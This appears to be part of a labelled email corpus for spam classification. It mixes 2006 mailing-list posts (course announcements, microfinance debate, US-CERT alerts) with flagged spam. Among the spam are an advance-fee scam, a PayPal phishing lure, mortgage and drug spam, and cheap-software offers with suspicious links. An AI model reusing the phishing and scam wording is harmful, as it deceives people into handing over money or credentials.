intensity as we go up the hierarchy. >Thus, sociality harnesses biology much more obviously than chemistry >harnesses physics. This may be because the ""locality"" or ""specificity"" increases as one goes up in the hierarchy, thus agreeing with the dictum stated in (1) above. >I think our difference is simply that you are a >reductionist, while I am not. I am not a reductionist. I am a 'complimentarian' who belives in the complementarity between reductionism and holism. That is, I believe that both reductionism and holism are necessary for a complete understanding of reality and life. W. Elsasser, toward the end of his book, ""Reflections on a Theory of Organisms: Holism in Biology"" (the Johns Hopkins University Press, Baltimore, available from Amazon for about $18) expressed a similar idea, although he did not use the term ""complimentarian"". With all the best. Sung __________________________________________ Sungchul Ji Department of Pharmacology and Toxicology Rutgers University Piscataway, N.J.08855 ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Tue, 25 Apr 2006 21:25:27 -0500",project info,"CS352-ers, I have a couple of comments about the project, which I also announced today in class. 1) The due date has been extended to May 4, 2006 (in class). 2) We have posted a third project handout at the location below. This document outlines the experiments you need to perform as well as the project deliverables (both electronic and hardcopy) http://www.cs.utexas.edu/users/skeckler/cs352/homework/hw.shtml Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 25 Apr 2006 22:32:01 -0500",Turnin directions,"Hi CS352-ers, Please use the following command to turnin your project files: turnin --submit madhavi project Use the verify command to check if your have turned in the files correctly. Check the project handout #3 for the list of files to be turned in. All the announcements regarding project will be available via the following link www.cs.utexas.edu/users/skeckler/cs352/homework/faq.txt Madhavi",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 25 Apr 2006 22:51:02 -0500",Project FAQ,"Kindly check the FAQ for guidelines and updates about the project. www.cs.utexas.edu/users/skeckler/cs352/homework/faq.txt Following is the current contents of the FAQ. PROJECT FAQ 1) Command to turnin your project files turnin --submit madhavi project 2) The cache simulator should implement ""write back"" policy. So, the data in the cache is written back into the memory only when the block is replaced. You need not flush the cache after the entire trace has been processed. So, it is valid to have new data in the cache and old data in the memory. 3) The memory is byte-addressable. But, the trace files will have addresses that are word aligned. Also, the memory initialization is done for 4 bytes at a time. You can view the memory as a array of 1 megawords. Each entry is 32 bits(4 bytes= 1 word). Entry 0 - address 0 - initialized to 0 Entry 1 - address 4 - initialized to 4 Entry 2 - address 8 - initialized to 8 Entry 3 - address c - initialized to c Entry 4 - address 10 - initialized to 10 .. .. You need to initialize all the words (1 megawords) in the memory. But, you will print out only words from 1000 to 11fc. NOTE: The range given in handout #2 was incorrect. I have corrected it now. Cheers, Madhavi",0,0 feddagsafia225@pobox.sk,feddagsafia225@pobox.sk,"Wed, 26 Apr 2006 14:03:58 +0200",From: Safia Feddag.,"From: Safia Feddag. Email: safiafeddag2006@yahoo.fr Good Day, COMPLIMENTS OF THE SEASON I wish to solicit your help in migrating to your country and investing my funds. I am Safia Feddag, a citizen of Sierra Leonean . i am a steward to late Mr NIZAR OF IRAQ. He was an U.N. ambbassador of Iraq in New York from 1993 to 1999. He was also a minister of foreign affairs in Iraq. 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Koven"" ",,,Re: [CNI-(C)] Re: Artists Rights Society Asks Google to Remove Logo,"It would be interesting to see how the estate could establish that Miró's reputation was in any way injured by this ""distortion."" Under US law, this would not be covered by our ""moral rights lite"" statute, but even elsewhere one does have to make some showing of reputational injury, no? Vance On 4/25/06, Samuel Murray wrote: > Doug Isenberg wrote: > > > ...demanded > > Google remove a logo honoring Spanish surrealist painter Joan Miro... > > This is not the first time Google honours artists through their logo. > Check what they did to Da Vinci, Van Gogh, Escher, Michelangelo, > Picasso, Warhol, Mondriaan and Monet: > http://www.jeroen.com/archive/2006/04/20/google_logo_joan_mhellip > > Samuel > > ############################################################# > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > To switch to the INDEX mode, E-mail to > To postpone your subscription, E-mail to > To resume mail list message delivery from postpone mode, E-mail to > Send administrative queries to > > Visit the CNI-COPYRIGHT e-mail list archive at . > > -- Vance R. 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This is not-for profit (charitable) organisation that has achieved some success since its launch ( July the 05th, 2005): * IBScientific magazine: (ISSN 1751-0716)aimed at public understand of multidisciplinary academic issue, and providing non-expert overviews of research problems to facilitate interdisciplinary collaborations. see: http://www.ibscientific.net/ * IBS Journal of Science: (ISSN 1751-0724)aimed at promoting and providing the developing world with the exposure necessary for its growth, and the vitality needed for its research resources by publishing original research articles. see http://www.ibscientific.net/journal/index.php/oj All our publications are peer reviewed and registered as journals.This initiative has taken Algeria as a case for proof of concept and has attracted the attention of both academics and policy makers. We are also launching a collaboration gateway, to harbor science peer-to-peer communication. This project also serve the scientific community in large and has received some support from UK researchers. Our nine month life so far has been very exciting and our growth has prompt us to organise a conference to improve awareness of the open access model and its role in future science publishing (see: http://www.ibscientific.net/conference/Home.htm Sponsoring need to be finalised), and we would like to draw your attention to this initiative. (The conference date is the 8th of July 2006, in London (UK)) Yours, Kindest regards Abdelkader Essafi IBS president and Editor-in-chief on behalf of the IBScientific team Imperial College London research fellow.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Apr 2006 14:52:57 -0700",[DMDX] DMDX 3.1.6.0,"DMDX version 3.1.6.0 introduces the keyword: When used the text of a frame is treated a C printf format string and counters N1..6 (see ) are displayed. Supersedes and only one of or is allowed in a frame. If anyone needs more than six counters per frame I can increase the limit easily. DMDX only uses the integer and character data types and while you could specify the string and floating point types all you'll probably do is crash DMDX -- so don't use them. is useful for doing things like displaying a clock in MM:SS format: 0 ""The time is %02d:%02d"" ; The relevant sections of the format string documentation follow: A format specification, which consists of optional and required fields, has the following form: %[flags] [width] [.precision] type Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %d). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to the output string. For example, to print a percent-sign character, use %%. The optional fields, which appear before the type character, control other aspects of the formatting, as follows: type Required character that determines whether the associated argument is interpreted as a decimal, octal or hexadecimal number or a character (see Table 1). flags Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see Table 2). More than one flag can appear in a format specification. width Optional number that specifies the minimum number of characters output. (See printf Width Specification.) precision Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see Table 3). Table 1 printf Type Field Characters The type character is the only required format field ; it appears after any optional format fields. The type character determines whether the associated argument is interpreted as a character or a number. Character Output Format c A character. d Signed decimal integer. i Signed decimal integer. o Unsigned octal integer. u Unsigned decimal integer. x Unsigned hexadecimal integer, using “abcdef.” X Unsigned hexadecimal integer, using “ABCDEF.” Table 2 Flag Characters The first optional field of the format specification is flags. A flag directive is a character that justifies output and prints signs, blanks, decimal points, and octal and hexadecimal prefixes. More than one flag directive may appear in a format specification. Flag Meaning Default – Left align the result within the given field width. Right align. + Prefix the output value with a sign (+ or –) if the output value is of a signed type. Sign appears only for negative signed values (–). 0 If width is prefixed with 0, zeros are added until the minimum width is reached. If 0 and – appear, the 0 is ignored. If 0 is specified with an integer format (i, u, x, X, o, d) the 0 is ignored. No padding. blank (' ') Prefix the output value with a blank if the output value is signed and positive; the blank is ignored if both the blank and + flags appear. No blank appears. # When used with the o, x, or X format, the # flag prefixes any nonzero output value with 0, 0x, or 0X, respectively. No blank appears. printf Width Specification The second optional field of the format specification is the width specification. The width argument is a nonnegative decimal integer controlling the minimum number of characters printed. If the number of characters in the output value is less than the specified width, blanks are added to the left or the right of the values — depending on whether the – flag (for left alignment) is specified — until the minimum width is reached. If width is prefixed with 0, zeros are added until the minimum width is reached (not useful for left-aligned numbers). The width specification never causes a value to be truncated. If the number of characters in the output value is greater than the specified width, or if width is not given, all characters of the value are printed (subject to the precision specification). If the width specification is an asterisk (*), an int argument from the argument list supplies the value. The width argument must precede the value being formatted in the argument list. A nonexistent or small field width does not cause the truncation of a field; if the result of a conversion is wider than the field width, the field expands to contain the conversion result. Precision Specification The third optional field of the format specification is the precision specification. It specifies a nonnegative decimal integer, preceded by a period (.), which specifies the number of characters to be printed, the number of decimal places, or the number of significant digits (see Table 3). Unlike the width specification, the precision specification can cause a truncation of the output value. If precision is specified as 0 and the value to be converted is 0, the result is no characters output, as shown below: / ""%.0d"" / If the precision specification is an asterisk (*), an argument from the argument list supplies the value. The precision argument must precede the value being formatted in the argument list. The type determines the interpretation of precision and the default when precision is omitted, as shown in Table 3. Table 3 How Precision Values Affect Type Type Meaning Default c, C The precision has no effect. Character is printed. d, i, u, o, x, X The precision specifies the minimum number of digits to be printed. If the number of digits in the argument is less than precision, the output value is padded on the left with zeros. The value is not truncated when the number of digits exceeds precision. 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These attempts may take the form of social engineering or phishing attacks (see Avoiding Social Engineering and Phishing Attacks for more information). With methods that include setting up fraudulent investment opportunities or redirecting users to malicious sites that appear to be legitimate, attackers try to convince you to provide them with financial information that they can then use or sell. If you have been victimized, both your money and your identity may be at risk (see Preventing and Responding to Identity Theft for more information). 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Encryption prevents the attackers from being able to view the information. * Verify that the web site is legitimate - Attackers may redirect you to a malicious web site that looks identical to a legitimate one. They then convince you to submit your personal and financial information, which they use for their own gain. Check the web site's certificate to make sure it is legitimate (see Understanding Web Site Certificates for more information). * Monitor your investments - Regularly check your accounts for any unusual activity. Report unauthorized transactions immediately. * Use and maintain anti-virus software - Anti-virus software recognizes and protects your computer against most known viruses. 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Ever-Glory Announces Letter of Intent to Acquire Nanjing Catch-Luck Garment Company Limited LOS ANGELES, May 3, 2006 (PRIMEZONE) -- Ever-Glory International Group (OTC BB:EGLY.OB - News), an international manufacturer of apparel, announced that the Company has executed a Letter of Intent to acquire the majority or all outstanding shares of Nanjing Catch-Luck Garment Company Limited. Closing of the transaction is subject to certain due diligence and customary closing conditions and is expected to take place within 60 days. Moreover, the acquisition will be accretive to earnings. The basis for determining the market valuation for the transaction will be based on the comparative market value of the business, valued at more than US$4,000,000.00 by Savills, a reputable and internationally recognized Valuation and Consultancy Firm, using the discounted cash flow approach. As a result of the acquisition, Nanjing Catch-Luck Garment Company Limited will become a majority or wholly-owned subsidiary of Ever-Glory. Edward Kang, President and CEO of Ever-Glory commented, ``We are excited about the opportunity to grow our business in a new direction with the acquisition of Nanjing Catch-Luck Garment Company Limited. This transaction represents another significant step toward achieving our goal of dynamic growth through new products and synergistic acquisitions.'' The addition of Ever-Glory's management team and infrastructure will greatly strengthen Nanjing Catch-Luck Garment Company Limited's already-established millions in revenue as well as strengthen worldwide expansion efforts for their and The Company's products. With $10.8 M in sales reported in Ever-Glory International Group's Annual Report in 2005, this acquisition will anticipate to immediately add an additional US$16.5 million to annual revenues, as well as accelerate overall international growth, expansion, and profitability. ``We have been looking for good acquisition candidates that will both enhance our operations and create value for our shareholders. This acquisition does both. Ever-Glory is looking forward to another year of strong performance and record profitability,'' concluded Mr. Edward Kang, President and CEO of Ever-Glory. This is a large milestone for Ever-Glory International Group and one that Mr. Edward Kang and his management team have set as a strategic goal. The Company has a strong management team with an unsurpassed commitment to customer service which has enabled them to excel in all aspects of their business. About Ever-Glory International Group Ever-Glory International Group (OTC BB:EGLY.OB - News) is a U.S. publicly-traded company engaged in international garment manufacturing for well-known middle to high-grade casual, outer, and sportswear brands. The company's U.S. headquarters is based in Los Angeles, CA, although Ever-Glory also owns a full subsidiary company, Nanjing Goldenway Garments Co. Ltd. located in China. Ever-Glory has strategic business partners in countries including China, Europe and the U.S. The Company cooperates with well-respected garment retailer chains such as ITOCHU, ABERCROMBIE & FITCH (ANF), SHINKO, DEBENHAMS, NEXT, OTTO , C&A, I.Y, etc. in handling high and middle grade casual-wear and sportswear. The company entered into production and sale cooperation agreements with a number of internationally famous brands such as MATALAN, EB, BEST-SELLER, BB DAKOTA, FAT FACE, LINDEX, and JUST JEANS, etc. The company employs about 700 people. At present, the market distribution is segmented as 35% in Japan, 50% in Europe and the 15% in United States. For more information about Ever-Glory International Group, please visit: http://www.everglorygroup.com. About Nanjing Catch-Luck Garment Company Limited The Company is engaged in the sales and manufacture of casual wear, sports wear and outer wear for many middle to high brands and retailers. Its manufacturing facilities are located in Nanjing in the PRC. About Savills Valuation and Professional Services Limited Savills is an international network of property professionals providing integrated services to clients through 112 offices in Asia Pacific, Australia, South Africa and Europe and through our strategic alliance with Trammell Crow Company in the Americas. Savills is the trading name for the property service subsidiaries of Savills plc, which has a full listing on the London Stock Exchange. The company employs a staff of 14,500 worldwide. As one of Hong Kong's largest, most reliable and efficient advisory teams, Savills is carrying out over 5,000 valuation assignments each year. Synergy with Savills' agency and research divisions ensures Savills has access to the most up-to-date market intelligence. In addition to offering the full range of standard valuations, Savills undertakes valuations tailored to client requirements, combining both market research and financial analysis. Savills provides high quality, comprehensive services to tenants who comprise a broad cross section of the international business community. For more information about Savills Valuation and Professional Services Limited, please visit: http://www.savills.com.hk/. This press release contains certain ``forward-looking statements,'' as defined in the United States Private Securities Litigation Reform Act of 1995, that involve a number of risks and uncertainties. There can be no assurance that such statements will prove to be accurate and the actual results and future events could differ materially from management's current expectations. Such factors are detailed from time to time in the Company's filings with the United States Securities and Exchange Commission and other regulatory authorities. Contact: Ever-Glory International Group Ms. Sarah Liu (626) 839.9116 info@everglorygroup.com Source: Ever-Glory International Group Inc. International Business Services · Village Kachore, Opp. MIDC Industrial Area, Taluka - Kalyan · District Thane, Maharashtra India",1,1 Joseph ,lyon@wheatonma.edu,"Thu, 27 Apr 2006 18:03:36 +0800",Re-finance rates will NOT stay this low forever!,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.n84n.com Don't worry about approval, your credit will not disqualify you! Sincerely, Joseph Approval Manager ",1,1 PayPal ,collaboration@media.mit.edu,"Thu, 27 Apr 2006 14:32:35 -0000",Notification of Limited Account Access,"Security Center Advisory! We recently noticed one or more attempts to log in to your PayPal account from a foreign IP address and we have reasons to belive that your account was hijacked by a third party without your authorization. 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PayPal automatically encrypts your confidential information using the Secure Sockets Layer protocol (SSL) with an encryption key length of 128-bits (the highest level commercially available).PayPal will never ask you to enter your password in an email.For more information on protecting yourself from fraud, please review our Security Tips at http://www.paypal.com/securitytips Protect Your Password You should never give your PayPal password to anyone, including PayPal employees.",1,1 ,,,Re: [Cmaptools] Tablet PC Support,"Agreed. I just got a tablet and would love to have CmapTool pen-enabled and support digital ink. Simon Gray, PhD Department of Mathematics and Computer Science College of Wooster >>> ""jventola"" 04/27/06 11:56 AM >>> To unsubscribe, E-mail to: ----------------------------------- Having just discovered Cmap Tools, I was eager to try it on my Tablet PC. Alas, the double click by the pen is not recognized. I can use the pen to right click and get menus, but I cannot change the focus by clicking in a box, etc. Pen support would make this a great tablet pc tool. I am not sure it is a Java problem, since I have Java software that works fine on the slate. Would it be a big project to make Cmap Tools pen-enabled? Cordially, Jim Ventola ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Send administrative queries to",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 27 Apr 2006 13:53:44 -0400","US-CERT Cyber Security Bulletin SB06-117 -- Summary of Security Items from April 20 through April 26, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from April 20 through April 26, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from April 20 through April 26, 2006 and is available here: NOTE: Beginning in May, US-CERT Cyber Security Bulletins will be released on Mondays instead of Thursdays. The next bulletin will be released on May 8. This change in schedule will be accompanied by a new format. For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRFEE130pj593lg50AQIasAf/d4mv/JKvSoaKYQupY82afS5gqV6X4NOj /Vprw8yj1jdwY83pei74SniKxY9GpfPHox9P4eMM38pILbgjsNVJXLeMB71CqCU0 IpT1y4KiA/rYduPsF3Lb42u6aL1BothDmtCUebjbAha+LoDrYR3jcr9lV1Vfm3vN /8GJVX4xkYdldW0iuDxaIyOy48KVbDC4ahjZ9j2OL4Rjqm72scNN5JBhZCk0Z+z5 VJy9W2tXU8c7nAH/MW0nlGZq/alwmcqUtDl1ofoWAWd+E0E8Ys5/LtBa2ZaSTQmM vHOMkmj2bPH3JC3CsSLQZnUl0epNJfpky9RZcRi3/DBZrtw/hgRhnQ== =tlop -----END PGP SIGNATURE-----",0,1 ,,,Re: [Cmaptools] Re: Tablet PC Support,"Related to this, I wonder how well this would work with CmapTools: I have used the Mimio products before to record whiteboard content and really liked them. The combination of a Mimio, a projector, and CmapTools seems intriguing. Alex.",0,1 Manh Hao Quach ,'Development Finance' ,"Thu, 27 Apr 2006 17:33:54 +0100",Microfiance for income smoothing or invetsemnt instrument?,"Dear friends, Perhaps this is an old topic but I've just thought of the question that whether micro credit is as an income-smoothing or an investment instrument. As you may be aware of, economists seem to assume that micro borrowers have ""projects"" which may earn income for their repayment. The distinction of risk versus safe type of borrowers also depends on the type of projects. This approach is then widely used to build models which explain e.g. why group lending can be used to overcome market imperfection .etc. While I am not concerned with how useful those models are, I am concerned with the fact that most successful micro lending models are with regular savings and weekly installment repayment. This implies that micro borrowers must have a source of income, or at the least, it implies that micro credit as an investment instrument is hard to be the case of success (because if it is, we may expect the repayment at a later point in time). Hence, if micro credit is mainly for income smoothing, how economic models (e.g. group lending) would be changed? Just a random thought - please correct me if I misunderstand somewhere. Cheers, Quach ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Thu, 27 Apr 2006 15:48:29 -0400",US-CERT Cyber Security Alert SA06-117A -- Scripts in eBay Postings May Enable Phishing Attacks ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-117A Scripts in eBay Postings May Enable Phishing Attacks Original release date: April 27, 2006 Last revised: -- Source: US-CERT Systems Affected The eBay web site may contain pages that affect various web browsers. Overview A vulnerability in the eBay web site may allow an attacker to steal personal information from eBay customers. Solution Verify the legitimacy of eBay web pages Attackers may use the vulnerability to perform a phishing attack. Make sure that the URL is accurate, and check the web site certificate to make sure that you are visiting an authentic eBay web page. Description eBay allows users to incorporate a type of code, also known as scripting, into the auction descriptions on its web site. An attacker can use this code to modify pages on eBay's web site or redirect you to a malicious web page. These may appear to be legitimate eBay web pages that request personal information. Using these techniques, an attacker may be able to collect your passwords, credit card numbers, or other personal information. Please see US-CERT Vulnerability note VU#808921 for details and additional workarounds. References * US-CERT Vulnerability Note VU#808921 - * Securing Your Web Browser - * Avoiding Social Engineering and Phishing Attacks - * Understanding Web Site Certificates - * eBay's Spoof Email Tutorial - * eBay Security Center - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""SA06-117A Feedback VU#808921"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Apr 27, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRFEZUn0pj593lg50AQJvVAgAxq4gihWKulDYYc6cHGJ3tAoJHnYvZ7U/ 8odvuFMee2XZl7ojIuHGSCB6H/U/T3VQEq28eaIHe24Ql4VOxiKeRiEPk9JRpFSX Ei+JFC9yly6G/N537Ko3Ydo7YwN/JZypyH55TBg0znEPSbtwToG/md1oxFOyahBJ JQtE0EZyLYN7uqlGUPD1svkzwdUOc8ltu4/Ivt4pJXTCcPPW8lGlKrS+UBwcd0Wp Dii+ctv0sBci5PWoWaU5Cd2DezptCTKne/R+KG5xxCeQVHgvKQd+j7szKycfc/o5 kwoVAv0IE1U9FgdhPZJzONrcCFAdK+hFefZgC4qGqWYg14vEDnK8EA== =Y89H -----END PGP SIGNATURE-----",0,1 Jayden Powell ,cs382m-archive@cs.utexas.edu,"Thu, 27 Apr 2006 17:09:22 -0300",Don't be left behing- the enlargement revolution!,"fatherless write letters invitation condolence establish missions ",1,0 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Thu, 27 Apr 2006 15:26:11 -0500",FGP reminder - ACES 2.404b today!,"just for today, we're in ACES 2.404b. Bill ",0,0 Tom Rutt ,corbawsdl-rtf@omg.org,"Thu, 27 Apr 2006 14:27:03 -0500",proposed resolution to corbawsdl rtf issue 9600,"Please provide comments on this proposed resolution to the list. a vote is forthcoming ---------- This is issue # 9600 From: Tom Rutt Section: 1.2.7.5 and 1.2.7.6 (CorbaToWsdl) In Corba to WSDL/SOAP Interworking Spec: In section 1.2.7.5 and 1.2.7.6, the examples of soap encoded array types have the _SE_ prefix after the module identifier. The ""_SE"" prefix is supposed to be at the beginning of the mapped type name. Proposed Resolution: fix the examples to change ""Example._SE_"" to ""_SE_Example."" Revised Text: In 1.2.7.5 three occurances: In 1.2.7.6 one occurance: Change: "" ""Example._SE_"" To ""_SE_Example."" -- ---------------------------------------------------- Tom Rutt email: tom@coastin.com; trutt@us.fujitsu.com Tel: +1 732 801 5744 Fax: +1 732 774 5133",0,0 Jimmy Harris ,"Devfinance , devfinance@lists.acs.ohio-state.edu","Thu, 27 Apr 2006 17:49:28 -0400",SEEP Seeking MFI Action Research Partners - Using Consumer Lending and Microfinance to Expand Access to Energy Services,"The SEEP Network is seeking expressions of interest from qualified MFIs for its action research program ""Using Consumer Lending and Microfinance to Expand Access to Energy Services."" This program seeks to examine the opportunities, barriers, cost and impact associated with MFIs that have integrated energy lending into their portfolio of products. The SEEP Network will select two to three MFIs each in Asia, Africa, and Latin America to participate in the action research. MFIs selected as action research partners will receive an honorarium of US $2,000 to partially defray any costs related to their participation in the action research. More importantly, MFIs will receive in-kind benefits in the form of extensive local and international expert input on their energy loan product(s), exposure to new ideas and innovations, lateral learning and information sharing with other MFIs participating in the research, and opportunities for increased international recognition and presence through the publication of a ""State of the Practice in Using Consumer Lending and Microfinance to Expand Access to Energy Services"" research paper and the dissemination activities of SEEP. Only legally registered MFIs in Africa, Asia, and Latin America are eligible to participate in this action research program. MFIs must fit the following criteria: a) already financially sustainable or with a clear commitment to and progress toward achieving financial sustainability; b) three or more years of operations; and c) existing loan product(s) to meet clients' energy-related needs (at household and/or business). Support for this action research is provided by the Citigroup Foundation and USAID's Energy and Microenterprise Development Divisions. For the complete request for expressions of interest, please visit the SEEP web site - www.seepnetwork.org . The deadline for applications is May 30, 2006. ---------------------------- Jimmy M. Harris Jr. Deputy Director The SEEP Network harris@seepnetwork.org www.seepnetwork.org tel. 202.884.8581 fax 202.884.8479",0,1 Penny Springer ,bertha@cs.utexas.edu,"Wen, Fri, 28 Apr 2006 10:45:48 -0900",This is most modern and safe way not to cover with shame ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. It has benefits over Viagra and other ED treatment solutions. Here goes some reasons to choose Cialis Soft Tabs: 1. You can mix alcohol drinks with Cialis Soft Tabs without any undesired effects. 2.Cialis Soft Tabs does not make you feel dizzy or make vision blurred, so you can easily drive a car or operate heavy machinery. 3.Cialis soft tabs works much faster than any known ED treatment solution. Cialis Soft Tabs enters the bloodstream directly instead of going through the stomach, thus you need only 15 minutes till you feel the effect. Just look at the graph below If you are interested ? Just click here and Read more about it http://su0c.pointingways.info/ct AND ALSO Cialis Soft Tabs formula is effective for 95% of the patients. If this treatment is not effective for you, we will refund you for every unopened pack. All you have to do is send them back, and we will immediatley refund your account! ",1,1 """Deng H. Heifetz"" ",Bait ,"Thu, 27 Apr 2006 22:14:47 -0400",Software,"Looking for cheap high-quality software? Photoshop, Windows, Office. CHEAP. New software on our site: Creative Suite Standard (3 CD) - $129.95 Windows 98 - $49.95 Fireworks MX 2004 - $69.95 Office 2003 Professional (1 CD Edition) - $89.95 Photoshop CS with ImageReady CS - $99.95 Windows 2000 Advanced Server - $69.95 Quark Xpress 6 Passport Multilanguage - $69.95 Office 2000 Premium Edition PE (2CD) - $59.95 Windows 2000 Professional - $59.95 Studio MX 2004 with Director MX 2004 - $139.95 Streets and Trips 2004 North America (2CD) - $69.95 Creative Suite Premium (5 CD) - $149.95 PhotoRetouch Pro 3.0 - $59.95 Norton System Works 2003 - $59.95 Our site: http://osuzcjbicwt1p6o1t6o1b6oo.masorethgb.com/ ",1,1 Michael Skully ,development finance ,"Fri, 28 Apr 2006 17:02:01 +1000",Microfinance and Australia,"There are certainly microfinance schemes in Australia but not ones involving commercial banks. This story below suggests that NAB may become directly, though modestly given its size, involved in the lending process. Mike Skully Monash University Melbourne, Australia NAB launches micro credit initiatives (27 April 2006 – Australia) National Australia Bank has set aside A$30 million for a number of “micro credit” initiatives. The initiatives will include A$18 million in loan capital for micro enterprise development loans over the next three years, and a pilot mentored loans program which kicks off in 2007. Some A$10 million will go to No Interest Loans Schemes over the next three years, with A$3.3 million in loan capital to be made available through the bank’s Good Shepherd Youth and Family Service. Another A$2 million will support expansion of NAB’s Good Shepherd program from five pilot locations in NSW and Victoria to South Australia and Western Australia. “NAB is committed to backing people through the delivery of a range of financial services,” NAB CEO Australia Ahmed Fahour said. “We believe it is important to back customers not simply bank them. There is an obligation on us to make sure we extend this to include individuals and families who have the aspiration, but for whatever reason, not the luck,” he said. ",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Fri, 28 Apr 2006 08:06:33 -0400",Ian Gibson on open access,"This is Ian Gibson's foreword to Neil Jacobs (ed.), Open Access: Key strategic, technical and economic aspects, Chandos Publishing, forthcoming 2006. Forwarding with permission. http://www.chandospublishing.com/catalogue/record_detail.php?recordID=103 Peter ----------cut here---------- Foreword The era of open access is dawning and it could not come a moment too soon. The rapid development of the internet and its increased use across the globe has meant that there is a wide and growing audience that is hungry and in some cases, desperately in need of information that traditionally few have been able to access. The idea of open access is highly controversial and divisive. If one were to politely mumble the phrase at a dull gathering of academics, publishers and policy makers, one would be sure to instantly divide the room and instigate a heated debate. This book is therefore an important introduction for those who know nothing of a debate that has been raging in academic circles for a long time. And for those with seemingly entrenched positions, this book will most certainly change some minds. In science, my own area of expertise, the issue of open access has been making troublesome waves in the last few years. The 2004 House of Commons Science and Technology Committee inquiry 'Scientific Publications: free for all?' which I chaired, looked into a number of issues; such as whether the market for scientific publications was working well, the trends in journal pricing, the impact of new publishing trends on the scientific process, the integrity of journals and so on. What we found was not pleasant. The commercial publishing world has an increasingly harmful monopoly on a number of prestige journals which are essential to disseminating new ideas and research. This monopoly over knowledge has been one factor underlying an increase in the price of subscriptions, leaving some academic libraries with no choice but to cancel subscriptions as they can no longer afford to pay for a full range of journals. I believe the current situation is highly unethical. As vast amounts of public money is used to fund research, it should follow that such research should be freely available to the public to boost up their knowledge and appreciation of science, instead of increasing the profit margins of a few publishing houses. One therefore would be hard pressed to deny the ethical case for open access. Indeed one only has to think of the need to make new research readily available to developing countries which do not have the resources to purchase such information and yet face some of the world's most devastating problems. However, better ethical conduct is only one of the many objectives of the open access project as this excellent collection of essays will show. I do not deny that there are legitimate fears about the implications of open access. It is one thing to make information readily available for the public who through taxation fund such research, and developing countries who need access to life-saving ideas; but it is quite another matter to make knowledge available for those who will free ride their way through improved access to profit themselves. But these are problems I believe can be overcome with a bit of creativity as some of the authors in this collection show. Turn the page and start reading. Ian Gibson MP ",0,1 Ahmad Jazayeri ,"Development Finance , Manh Hao Quach ","Sun, 28 May 2006 06:29:47 -0700",Re: Devfinance: Microfiance for income smoothing or invetsemnt instrument?,"Economic models operate with the ""ceteris paribus"" or ""everything else the same"" assumption meaning that we can only change one assumption at a time. If group lending is indeed efficient because it lowers information and enforcement costs then, ceteris paribus, it is more efficient than individual lending. The modelling exercise however is as good as the assumptions underlying it. The questions you are raising, which is a good one, requires new assumptions not about information and enfocement costs but about other input-output relationships namely the utility function, the production function and the marginal returns on investment. Morduch's new book on Economics of Micofinance makes a good theoretical case that, contrary to the fundamental assumption of microfinance, smaller borrower do not have higher returns to capital because of ""non-economic"" factors related to access and capabilities. If we add the consideration that smaller borrower have a higher propensity to consume, then this becomes another crack in the microfinance mirror. Ahmad Jazayeri ----- Original Message ----- From: Manh Hao Quach To: Development Finance Sent: Thursday, April 27, 2006 9:33 AM Subject: Devfinance: Microfiance for income smoothing or invetsemnt instrument? Dear friends, Perhaps this is an old topic but I've just thought of the question that whether micro credit is as an income-smoothing or an investment instrument. As you may be aware of, economists seem to assume that micro borrowers have ""projects"" which may earn income for their repayment. The distinction of risk versus safe type of borrowers also depends on the type of projects. This approach is then widely used to build models which explain e.g. why group lending can be used to overcome market imperfection .etc. While I am not concerned with how useful those models are, I am concerned with the fact that most successful micro lending models are with regular savings and weekly installment repayment. This implies that micro borrowers must have a source of income, or at the least, it implies that micro credit as an investment instrument is hard to be the case of success (because if it is, we may expect the repayment at a later point in time). Hence, if micro credit is mainly for income smoothing, how economic models (e.g. group lending) would be changed? Just a random thought - please correct me if I misunderstand somewhere. Cheers, Quach ",0,0 webmaster@microfinancegateway.org,"devfinance@ag.ohio-state.edu, communitydevelopmentbanking-l@cornell.edu, waterfield@microfin.com","Fri, 28 Apr 2006 10:07:35 -0400","[SPAM?] ""Microfinance Jobs Bulletin - April 28, 2006""","MICROFINANCE JOBS BULLETIN Distributed by the Microfinance Gateway 